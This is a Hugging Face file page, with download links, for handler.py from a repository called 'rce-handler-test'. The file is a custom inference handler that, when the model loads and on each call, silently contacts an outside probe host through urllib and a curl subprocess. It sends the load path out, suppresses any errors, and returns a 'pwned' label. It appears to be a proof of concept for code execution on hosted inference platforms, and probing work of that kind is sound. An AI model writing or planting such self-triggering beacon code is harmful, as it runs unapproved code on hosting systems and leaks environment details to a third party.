Download handler.py from xitro/rce-handler-test: direct link, hf CLI and curl.
- Browser
- Download file 945 Bytes
-
https://huggingface.co/xitro/rce-handler-test/resolve/main/handler.py
- Command line
-
hf download hf://xitro/rce-handler-test/handler.py
-
curl -L -o handler.py https://huggingface.co/xitro/rce-handler-test/resolve/main/handler.py
945 Bytes
| """Custom HuggingFace Inference Handler - RCE Test""" | |
| import os | |
| import subprocess | |
| import urllib.request | |
| class EndpointHandler: | |
| def __init__(self, path=""): | |
| # This executes at model load time | |
| try: | |
| urllib.request.urlopen( | |
| "https://xitro-env-probe.hf.space/rce?src=handler_init&path=" + str(path) | |
| ) | |
| except: | |
| pass | |
| # Also try subprocess | |
| try: | |
| subprocess.Popen( | |
| ["curl", "-s", "https://xitro-env-probe.hf.space/rce?src=handler_subprocess"], | |
| stdout=subprocess.DEVNULL, | |
| stderr=subprocess.DEVNULL | |
| ) | |
| except: | |
| pass | |
| def __call__(self, data): | |
| try: | |
| urllib.request.urlopen( | |
| "https://xitro-env-probe.hf.space/rce?src=handler_call" | |
| ) | |
| except: | |
| pass | |
| return [{"label": "pwned", "score": 1.0}] | |